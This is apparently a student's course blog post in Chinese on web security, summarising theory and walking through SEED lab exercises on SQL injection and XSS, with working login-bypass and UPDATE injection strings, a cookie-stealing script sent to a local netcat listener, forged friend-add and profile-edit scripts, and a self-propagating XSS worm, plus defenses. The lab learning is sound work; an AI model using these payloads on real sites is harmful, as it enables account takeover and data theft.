20199134 2019-2020-2 《网络攻防实践》第11周作业

20199134 赵兴波 《网络攻防实践》第11周作业

1.实践内容

1.1 web应用体系结构及安全威胁

  • web应用体系结构

    • 定义:一种实验浏览器在互联网或企业内部网上进行访问操作的应用软件形态,体系结构如图所示

    • 浏览器:如IE、Firefox、Chrome等,都使用HTTP/HTTPS协议。

    • Web服务器:接收客户端对资源的请求,将其传递给web应用程序来执行,待应用程序执行完并返回响应,将响应返回给web客户端,在浏览器进行本地执行、渲染和展示。

    • Web应用程序 :三层模型:表示层(接受Web客户端输入并显示结果); 业务逻辑层(完成Web应用业务处理,核心, 实现技术-CGI、ASP、PHP等动态脚本);数据层(数据库/本地文件;数据库连接: ODBC/OLEDB/JDBC)

    • 数据库:有时也被称为后台,是Web应用存储数据的地方,流行的数据库管理软件包括微软的MS SQL Sever、Oracle和开源的MySQL等,这些数据库支持统一的数据库查询语言SQL。

    • 传输协议: HTTP/HTTPS :HTTP是无状态、基于ASCII码明文传递的简单协议, HTTPS基于SSL/TLS,提供对传输层认证(AH)和加密(ESP) 。

  • Web应用安全威胁

    • 针对浏览器和终端用户的web浏览安全威胁

    • 针对传输网络的网络协议安全威胁

    • 系统层安全威胁

    • web服务器软件安全威胁

    • web应用程序安全威胁

    • web数据安全威胁

1.2 web应用安全攻防技术概述

  • Web应用信息收集:服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息。

    • 手工审查Web应用程序结构与源代码

      • 查看静态和动态生成的页面,主要查看源代码、 隐藏信息和动态页面中的页面命名规则等。

      • 查看Web服务器的存储目录结构。

      • 查看辅助性文件,包括CSS级联样式表、XML样式表、数据库字段结构、目录路径、输入参数以及数据库连接字符串。

      • 输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。

      • 查询参数字符串,复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息。

    • 自动下载与镜像Web站点页面:一些自动下载的工具能提高审查的效率,Linux系统上可使用lynx、wget等工具,Windows系统山可使用TelePort Pro、Offline Explorer等软件。

    • 使用Google Hacking技术审查与探测Web应用程序,在web站点中的配置、计算机代码及包含的数据中,寻找安全漏洞与敏感信息的黑客技术。

    • Web应用程序安全评估与漏洞检测,在获得一些关键信息后,渗透测试人员还会对目标应用程序的各个功能做一次深入研究和评估,一般使用一些辅助工具

  • 攻击Web服务器软件

    • Web服务器平台中的安全漏洞

      • 数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。

      • 服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展组件模块都存在漏洞。

      • 样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。

      • 源代码泄露:特定情况下,攻击者可利用这些漏洞查看系统级的文件。

      • 资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称的过程。

  • 攻击Web应用程序

    • web应用程序安全威胁分如下

      • 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。

      • 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。

      • 客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。

      • 命令执行攻击:在web站点执行远程命令的攻击手段。

      • 信息暴露:获取web站点具体系统信息的攻击手段。

      • 逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。

  • 攻击web数据内容

    • 安全敏感数据泄露:由于不安全配置、使用者疏忽或缺乏安全意识,一些web站点上包含的安全敏感内容可能会被攻击者窃取,方法通常有手工审查、镜像站点内容和使用Google Hacking等。

    • 网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换,表达入侵成功或某种观点诉求。

    • 不良信息内容上传:网站被攻陷后可能成为不良信息的存储和中转仓库。

  • web应用安全防范措施

    • web站点网络传输安全:使用HTTPS协议;使用SSH、SFTP等安全协议管理站点;对关键的web服务器,设置静态绑定MAC-IP映射。

    • web站点操作系统及服务安全:操作系统及服务器软件及时更新;对站点服务器的操作系统、服务等进行远程安全漏洞扫描;关闭不常用服务;设置强口令字。

    • web应用程序安全:谨慎考虑是否采用动态页面技术;使用高质量的web应用软件包;注意应用程序的安全测试与维护;对应用程序的所有访问请求进行日志记录及安全审计。

    • web站点数据安全:提高网站内容维护人员的数据安全意识;对数据安全实施日常监测与防护。

1.3 SQL注入

  • 原理

    • web应用程序的用户输入没有被正确地过滤:转义字符(引号、反引 号、双下划线、分号、百分号);没有进行严格类型检查:未判断输入是否预定类型。攻击者通过精心构造的SQL查询命令,触发恶意数据库操作,完成攻击。
  • SQL注入攻击步骤

    • 发现SQL注入点

    • 判断后台数据库类型

    • 后台数据库中管理员用户口令字猜解

    • 上传ASP后门,得到默认账户权限

    • 本地特权提升

    • 利用数据库扩展存储过程执行Shell命令

  • SQL注入工具

    • Wposion:能在动态的web文档中找出SQL注入漏洞

    • wieliekoek.pl能以网站进行工具生成的输出为输入,找出含有单表页面

    • SPIKE Proxy工具允许对待字符串进行定制,并自动化执行SQL注入

    • 国内也有许多软件,如CSC、NBSI、HDSI、WED等

  • SQL注入攻击防范措施

    • 使用类型安全(type-safe)的参数编码机制。

    • 凡是来自外部的用户输入,必须进行完备检查。

    • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。

    • 加强SQL数据库服务器的配置与连接。

1.4 XSS跨站脚本攻击

  • 原理

    • Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。
  • XSS攻击类型

    • 持久性XSS漏洞

      • 漏洞形式: Web应用程序允许用户输入内容并持久保存并显示在网页上

      • 攻击方式: 攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害

    • 非持久性XSS:当web浏览器在HTTP请求参数和HTML提交表单中的数据,被立即由服务器端脚本使用产生一个提供给该用户的界面,可能导致跨站脚本攻击。一个攻击的示意图如下所示

  • 防范措施

    • 服务器端防范:首要防范措施是对所有来自外部的用户输入进行完备检查,再通过下面三种方法来防范。

      • 输入验证:如web程序在某个位置收到的用户提交的数据可能会被复制到响应界面中,web应用程序应进行严格的过滤和验证。

      • 输出净化:对要复制的数据进行HTML编码,以净化可能的恶意字符。

      • 消除危险的输入点:web应用程序界面有一些位置,插入用户提交的输入就会造成极大的风险。

    • 客户端:需要提升浏览器的安全设置,如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置其为只读模式。

2.实践过程

2.1 SEED SQL注入实验

  • 题目:访问www.SEEDLabSQLInjection.com查看实验所用的web应用程序, 该程序是一个简单的员工管理应用程序。完成下列任务:

    • 对 SELECT 语句的攻击 (在不知道密码的情况下登录该应用程序)
    • 对 UPDATE 语句的攻击 (在不知道密码的情况下修改某用户资料)
    • 对抗 SQL 注入 ( 修复该web应用的SQL注入漏洞)
  • 环境

    • 操作系统版本:SEED Ubuntu 16.04
    • 服务:Apache 使用命令sudo service apache2 start开启服务
    • web 应用:www.SEEDLabSQLInjection.com

过程

1.对select语句的攻击

  • 在登录界面现随便输入一个用户名及密码,F12查看表单提交情况,可以看到进行校验的是unsafe_home.php

  • /var/www/SQLInjection/找到unsafe_home.php

  • 可以看到进行登录认证时,区分admin用户及其他用户。用户信息表为credential

  • 根据上述信息,我们用admin来进行登录,我们知道登录时正确的SQL查询语句为SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’但是如果我们输入Admin'#,就可以让SQL语句提前结束,而不进行密码校验,#即将密码校验的部分注释掉了。可以发现,成功进入系统,看到了所有的用户信息。

2.对update语句的攻击

  • UPDATE语句内容在unsafe_edit_backend.php中,进入该文件可以看到,用户可以更改的只有名字、密码、地址、电话号。没有更改薪资的权限

  • 用户名处输入Alice'#进行登录,登陆成功,此时看到Alice的信息,点击edit profile修改信息

  • NickName里输入语句',salary='23000' where EID='10000';#

  • 可以发现成功修改salary为23000

  • 同理,当Alice登录自己的账号,使用',salary='20' where Name='Boby'; #则可以修改Boby的salary。

  • 接下来修改Boby的密码,首先将我们修改的密码值用sha1进行加密,在终端输入echo -n 'zxb12345'|sha1sum

  • 如之前一样在Nickname中输入', Password='17ce9a1a7c6e5920b9ed66c0da285271309b78f4' where Name='Boby';#,然后登陆验证一下,能成功登陆

3.对抗SQL注入

  • SQL 注入漏洞的根本原因是没有将代码和数据区分开。当组建一个 SQL 语句时,程序知道哪个部分是代码哪个部分是数据。不幸的是当 SQL 语句送往数据库执行时,这个边界被打破,当程序被注入时,SQL 解释器看到的边界可能和最初的边界不一样。
  • 使用magic_quotes_gpc避开特殊字符
    • PHP代码中的字符串类型的数据需要用单引号(')引起来。比如上面的任务中username="$username",单引号用于把$username从代码中区分出来。不幸的是如果$username中含有单引号,这个区分将被打破。
    • 我们需要一个机制告诉数据库$username中的单引号应 该被当做数据,而不是SQL语句的特殊字符。为此我们只需要在单引号前加一个反斜杠() 。
    • PHP 提供了自动在单引号、双引号、反斜杠和空字符前添加反斜杠的机制,如果这个 选项启用,那么所有这些从用户输入的特殊字符会被加反斜杠。启用方法为,修改/etc/php5/apache2/php.inimagic_quotes_gpc = On,然后重启Apache

2.2 SEED XSS跨站脚本攻击实验

  • 任务:为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
    • 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
    • 弹窗显示cookie信息:将cookie信息显示。
    • 窃取受害者的cookies:将cookie发送给攻击者。
    • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
    • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
    • 编写XSS蠕虫。
    • 对抗XSS攻击。
  • 环境
    • 操作系统版本:SEED Ubuntu 16.04
    • 服务:Apache 使用命令sudo service apache2 start开启服务
    • web 应用:www.xsslabelgg.com

过程
1.发布恶意消息,显示警报窗口

  • 登陆Alice账号,找到Alice的brief description,在里面输入<script>alert(’XSS’);</script>,然后保存。

  • 使用Boby登录并查看Alice的profile,则将会看到警告窗口。

2.弹窗显示cookie信息

  • 与上面一样,插入代码<script>alert(document.cookie);</script>

  • 使用boby账号登录查看alice时,弹出如下提示框

3.窃取受害主机的 Cookie

  • 与之前的两步一样位置输入代码<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>,//127.0.0.1是接收信息的IP地址,5555是端口号

  • 同时打开Netcat监听cookie传送回来的端口5555,输入命令nc -vlp 5555 //-v:显示详细信息; -l:监听流进端口的信息; -p:打开本地端口

  • 使用Boby账号进行登录查看Alice的主页,这个时候就能窃取到Boby的cookies

4.成为受害者的朋友

  • 登录Alice的账号访问Charlies的主页,点击 Add Friend,使用web Developer中的Toggle tools查看需要的数据

  • 需要当前用户的cookies__elgg_token__elgg_ts用户id把如下Javascript程序放在alice的About me中(edit HTML模式)

<script type="text/javascript">
	window.onload = function () {
  var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  Ajax.send();
} 
</script>
  • 接下来当boby访问alice的主页,boby就会自动加alice为好友

5.修改受害者的信息

  • 与上一个任务方法一样,将其放在Alice的about me中( edit HTML模式 ),代码如下:
<script type="text/javascript">
	window.onload = function(){
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		var samyGuid=44;
		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>
  • 使用Boby账号访问Alice主页即可看到攻击成功页面

6.编写XSS蠕虫

  • 在实验指导书中给出了两种方法实现XSS蠕虫,指导书给出的蠕虫代码如下:
<script id="worm" type ="text/javascript">
	var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
  var jsCode = document.getElementById("worm").innerHTML;
  var tailTag = "</" + "script>";
	var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
	alert(jsCode);
</script>
  • 将任务五和上述的代码结合在一起成为了一个带有传播功能的蠕虫病毒

7.对抗XSS攻击

  • 使用管理员账户进行登录,Account->administration->plugins,找到插件HTMLawed并打开即可抵抗xss攻击 ,插件的主要作用是对用户的输入输出进行校验并且去除特定标签

3.学习中遇到的问题及解决

  • 问题1:写javascript代码,我不会啊!!!
  • 问题1解决方案:参考着博客了解了一些
  • 问题2:实验环境崩了,虚拟机各种不好使
  • 问题2解决方案:全给移除了,重新安装了一遍。

4.实践总结

感觉本次实践理解起来还是比较容易的,但也有不明白的,有些知识没学过。~~尚未完结,同志仍需努力啊!

参考资料

posted @ 2020-05-14 06:43  zzxb  阅读(238)  评论(0编辑  收藏  举报